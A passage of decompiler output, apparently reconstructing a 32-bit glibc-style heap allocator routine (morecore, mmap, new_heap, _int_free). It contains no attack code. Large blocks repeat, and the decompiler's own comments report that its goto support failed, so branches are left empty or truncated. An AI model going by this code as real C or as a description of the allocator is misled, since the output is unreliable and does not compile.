// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v215;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
// 0x80b4b26
if (v182 == 0) {
// 0x80b4b43
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
v158 = (int32_t *)7;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v167 = 8 - v156 % 8;
v201 = v167;
v158 = (int32_t *)(v167 + v156);
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v153 = (int32_t *)v144;
v162 = __default_morecore(v153);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)v153;
*(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v215;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
// 0x80b4b2d
if (v148 > v194) {
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v216;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
// 0x80b4b36
g84 = v141 + v156 - v139;
// branch -> 0x80b4b43
// 0x80b4b43
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
v158 = (int32_t *)7;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v167 = 8 - v156 % 8;
v201 = v167;
v158 = (int32_t *)(v167 + v156);
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v153 = (int32_t *)v144;
v162 = __default_morecore(v153);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)v153;
*(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v215;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
v215 = (int32_t *)34;
} else {
v215 = (int32_t *)34;
}
} else {
v215 = v214;
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v215;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
// 0x80b4cc1
v203 = v175;
if ((v172 & 2) == 0) {
// 0x80b4cc6
v209 = v175 + v182 + v136 & v135;
g102 = v209;
v203 = v209;
// branch -> 0x80b4cd3
}
// 0x80b4cd3
v170 = v203;
v205 = (int32_t *)v203;
if (v203 < 0x100000) {
// 0x80b4cde
g102 = 0x100000;
v170 = 0x100000;
v205 = (int32_t *)0x100000;
// branch -> 0x80b4cea
}
// 0x80b4cea
if (v64 < v205) {
// 0x80b4cf6
v163 = mmap(&v11->e0, v170, 3, 34, -1, v10);
if (v163 != (int32_t *)-1) {
// 0x80b4d14
v193 = g102;
v155 = (int32_t *)(v193 + (int32_t)v163);
g81 |= 2;
if (v163 != NULL) {
v177 = v193;
v216 = (int32_t *)34;
v166 = v155;
v194 = v163;
// 0x80b4af4
v156 = (int32_t)v194;
if (g79 == 0) {
// 0x80b4f0a
g79 = v156;
// branch -> 0x80b4b01
}
// 0x80b4b01
v200 = (int32_t)v205;
v141 = g84 + v200;
g84 = v141;
if (v148 == v194) {
// 0x80b4e8e
if (v166 == NULL) {
// 0x80b4e99
*(int32_t *)(g98 + 4) = v200 + v182 | 1;
// branch -> 0x80b49cb
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v216;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
}
// 0x80b4b19
if ((char)g81 == 2) {
// 0x80b4b26
if (v182 != 0) {
// 0x80b4b2d
if (v148 > v194) {
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v216;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
// 0x80b4b36
g84 = v141 + v156 - v139;
// branch -> 0x80b4b43
// 0x80b4b43
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
v158 = (int32_t *)7;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v167 = 8 - v156 % 8;
v201 = v167;
v158 = (int32_t *)(v167 + v156);
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v153 = (int32_t *)v144;
v162 = __default_morecore(v153);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
v215 = v216;
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)v153;
*(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
v215 = (int32_t *)0x80b4bea;
// branch -> 0x80b49cb
} else {
v215 = v216;
}
} else {
v215 = v216;
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
result2 = 0;
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
v217 = v58 != 0x8139c40 ? 4 : 0;
*(int32_t *)(result2 + 4) = v65 | v217 | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
result2 += 8;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v215;
}
// 0x80b4266
g98 = (int32_t)v77;
return result2;
}
// 0x80b4b43
v189 = v156 % 8;
if (v194 == (int32_t *)7) {
// 0x80b4b4e
v201 = 0;
v158 = (int32_t *)7;
// branch -> 0x80b4b53
} else {
// 0x80b4f23
v167 = 8 - v189;
v201 = v167;
v158 = (int32_t *)(v167 + v156);
// branch -> 0x80b4b53
}
// 0x80b4b53
v146 = v201 + v182;
v142 = v156 + v177 + v146;
v143 = v142 + v136;
g96 = v143;
v168 = (v143 & v135) - v142;
g101 = v168;
v144 = v168 + v146;
v153 = (int32_t *)v144;
v162 = __default_morecore(v153);
g97 = v144;
if (v162 == NULL) {
// 0x80b4f15
v165 = __default_morecore(&v11->e0);
v157 = v158;
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v157;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
} else {
// 0x80b4b7e
v174 = g65;
g95 = v174;
g1 = false;
g103 = v174 == 0;
if (v174 != 0) {
// 0x80b4b87
((int32_t (*)())v174)();
// branch -> 0x80b4b8b
}
// 0x80b4b8b
v202 = (int32_t)v158;
g82 = v202;
v154 = (int32_t)v153;
*(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
v217 = v58 != 0x8139c40 ? 4 : 0;
*(int32_t *)(result2 + 4) = v65 | v217 | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80b4ca4
if (v166 == NULL) {
// 0x80b4ec5
v165 = __default_morecore(&v11->e0);
v157 = v194;
// branch -> 0x80b4ed4
// 0x80b4ed4
g102 = (int32_t)v165;
if (v165 != NULL) {
// 0x80b4edf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v157;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
} else {
// 0x80b4caf
// branch -> 0x80b4b8b
// 0x80b4b8b
v202 = (int32_t)v194;
g82 = v202;
v154 = (int32_t)NULL;
*(int32_t *)(v202 + 4) = (int32_t)v166 - v202 + v154 | 1;
g84 += v154;
g101 = v182;
if (v182 != 0) {
// 0x80b4bb5
v208 = v182 - 16;
v25 = v208;
v190 = v208 | 1;
g97 = v190;
*(int32_t *)(g98 + 4) = v190;
*(int32_t *)(g98 + 4 + v25) = 9;
*(int32_t *)(g98 + 12 + v25) = 9;
if (v25 >= 16) {
// 0x80b4bdc
_int_free((char *)0x8139c40, (int32_t *)(g98 + 8));
// branch -> 0x80b49cb
}
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
// 0x80b4918
v178 = v137 & -0x100000;
v149 = (int32_t *)(v178 | 8);
v195 = *v149;
g102 = v65 - v182 + 16;
v159 = getpagesize();
v183 = v159 - 1;
v169 = g102;
if (v169 < 0) {
// 0x80b4dd8
v191 = v169 + v195;
if (v191 >= 16) {
// 0x80b4de7
g101 = v191;
v192 = -v169;
g102 = v192;
v164 = mmap((int32_t *)(v191 + v178), v192, v10, 50, -1, v10);
if ((int32_t)v164 != -1) {
// 0x80b4e09
*v149 = g101;
*v18 = *v18 + g101 - v195;
v181 = v178;
v204 = *(int32_t *)(v181 + 8);
g67 += v204 - v195;
v176 = g98;
*(int32_t *)(v176 + 4) = v204 + v181 - v176 | 1;
// branch -> 0x80b49cb
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b4940
v179 = v169 + v183 & -v159;
v184 = v179 + v195;
g101 = v184;
if (v184 < 0x100001) {
// 0x80b4e38
if (mprotect((int32_t *)(v195 + v178), v179, 3) == 0) {
// 0x80b4e09
*v149 = g101;
*v18 = *v18 + g101 - v195;
v181 = v178;
v204 = *(int32_t *)(v181 + 8);
g67 += v204 - v195;
v176 = g98;
*(int32_t *)(v176 + 4) = v204 + v181 - v176 | 1;
// branch -> 0x80b49cb
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// 0x80b4959
g95 = v65 + 32;
g97 = g71;
v160 = new_heap(v1, v32);
v150 = (struct struct_135 *)v160;
v27 = v160;
if (v160 != 0) {
// 0x80b4970
v26 = v58;
v150->e0 = a1;
v150->e1 = v178;
v151 = (int32_t *)(v26 + 1100);
*v151 = *v151 + v150->e2;
v196 = v150->e2;
g67 += v196;
v185 = v27 + 16;
g98 = v185;
*(int32_t *)(v26 + 48) = v185;
v150->e4 = v196 - 16 | 1;
v206 = v182 - 16;
v25 = v206;
v140 = v206 + v137;
v26 = v140;
*(int32_t *)(v140 + 12) = 1;
if (v25 > 15) {
// 0x80b4dac
*(int32_t *)(v26 + 4) = 9;
*(int32_t *)(v26 + 8) = 8;
g97 = v137;
*v147 = v25 | 5;
_int_free(a1, (int32_t *)(g97 + 8));
// branch -> 0x80b49cb
} else {
// 0x80b49b7
v207 = v182 - 8;
*v147 = v207 | 1;
*(int32_t *)(v26 + 8) = v207;
// branch -> 0x80b49cb
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b49cb
v186 = *v18;
v152 = (int32_t *)(v58 + 1104);
if (v186 > *v152) {
// 0x80b49dc
*v152 = v186;
// branch -> 0x80b49e2
}
// 0x80b49e2
v197 = *v20;
result2 = v197;
v187 = *(int32_t *)(v197 + 4) & -8;
if (v8 > v187) {
// 0x80b4a62
// branch -> 0x80b4a26
} else {
// 0x80b49f3
v188 = v197 + v65;
*v20 = v188;
*(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v188 + 4) = v187 - v65 | 1;
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
uint32_t v218 = v212 % 8; // 0x80b4d50
if (v211 == (int32_t *)7) {
// 0x80b4ef2
*(int32_t *)(v212 + 4) = g101 | 2;
// branch -> 0x80b4d70
} else {
int32_t v219 = 8 - v218; // 0x80b4d5e
int32_t v220 = v219 + v212; // 0x80b4d60
*(int32_t *)v220 = v219;
*(int32_t *)(v220 + 4) = g101 - v219 | 2;
// branch -> 0x80b4d70
}
int32_t v221 = g73 + 1; // 0x80b4d75
g73 = v221;
if (v221 > g75) {
// 0x80b4d83
g75 = v221;
// branch -> 0x80b4d88
}
int32_t v222 = g77 + g101; // 0x80b4d8a
g77 = v222;
if (v222 > g78) {
// 0x80b4d9d
g78 = v222;
// branch -> 0x80b4da2
}
// 0x80b4da2
// branch -> 0x80b4a26
}
// 0x80b4a26
v171 = g69;
g95 = v171;
if (v171 != 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v137 = v132;
}
} else {
v137 = v132;
}
}
// 0x80b48fa
v147 = (int32_t *)(v137 + 4);
v182 = *v147 & -8;
v139 = v182 + v137;
v148 = (int32_t *)v139;
if (a1 == (char *)0x8139c40) {
// 0x80b4a9e
v138 = v8 + g71;
v172 = g81;
v198 = v138;
if (v172 == 2) {
// 0x80b4ab5
v198 = v138 - v182;
// branch -> 0x80b4ab8
}
// 0x80b4ab8
g96 = v135;
